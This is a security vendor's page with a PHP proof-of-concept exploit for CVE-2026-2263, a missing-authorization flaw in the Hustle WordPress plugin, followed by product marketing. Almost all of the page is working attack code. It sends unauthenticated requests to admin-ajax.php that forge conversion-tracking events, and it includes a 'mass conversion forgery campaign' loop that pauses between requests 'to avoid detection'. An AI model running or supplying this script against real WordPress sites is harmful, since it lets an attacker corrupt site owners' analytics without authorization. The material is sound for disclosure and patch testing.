// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2263 - Hustle – Email Marketing, Lead Generation, Optins, Popups <= 7.8.10.2 - Missing Authorization to Unauthenticated Conversion Tracking Data Manipulation

<?php
/**
 * Proof of Concept for CVE-2026-2263
 * Unauthenticated Conversion Tracking Manipulation in Hustle WordPress Plugin
 *
 * This script demonstrates how unauthenticated attackers can forge conversion
 * tracking events for any Hustle module, including draft modules.
 */

// Configuration - Set your target WordPress site URL
$target_url = 'https://example.com';

// Function to send conversion tracking request
function send_conversion_request($module_id, $module_type, $page_id = 1, $module_sub_type = null) {
    global $target_url;
    
    // Build the AJAX endpoint
    $ajax_url = $target_url . '/wp-admin/admin-ajax.php';
    
    // Prepare POST data for conversion tracking
    $post_data = array(
        'action' => 'hustle_module_converted',
        'module_id' => $module_id,
        'module_type' => $module_type,
        'page_id' => $page_id
    );
    
    // Add optional module_sub_type if provided
    if ($module_sub_type !== null) {
        $post_data['module_sub_type'] = $module_sub_type;
    }
    
    // Initialize cURL session
    $ch = curl_init();
    
    // Set cURL options
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Execute the request
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    // Check for errors
    if (curl_errno($ch)) {
        echo "cURL Error: " . curl_error($ch) . "n";
    }
    
    curl_close($ch);
    
    return array(
        'http_code' => $http_code,
        'response' => $response
    );
}

// Example 1: Forge conversion for a popup module (ID: 123)
echo "[+] Testing conversion forgery for popup module ID 123n";
$result1 = send_conversion_request(123, 'popup', 5, 'slide-in');
echo "HTTP Code: " . $result1['http_code'] . "n";
echo "Response: " . $result1['response'] . "nn";

// Example 2: Forge conversion for an embedded form module (ID: 456)
echo "[+] Testing conversion forgery for embedded form module ID 456n";
$result2 = send_conversion_request(456, 'embedded', 10);
echo "HTTP Code: " . $result2['http_code'] . "n";
echo "Response: " . $result2['response'] . "nn";

// Example 3: Forge conversion for a social sharing module (ID: 789)
echo "[+] Testing conversion forgery for social sharing module ID 789n";
$result3 = send_conversion_request(789, 'social_sharing', 15);
echo "HTTP Code: " . $result3['http_code'] . "n";
echo "Response: " . $result3['response'] . "nn";

// Example 4: Mass conversion forgery (simulating attack campaign)
echo "[+] Simulating mass conversion forgery campaignn";
for ($i = 1; $i <= 5; $i++) {
    echo "  Forging conversion for module ID " . (1000 + $i) . "n";
    $result = send_conversion_request(1000 + $i, 'popup', rand(1, 20));
    sleep(1); // Rate limiting to avoid detection
}

echo "n[+] PoC completed. Check Hustle conversion statistics for manipulated data.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School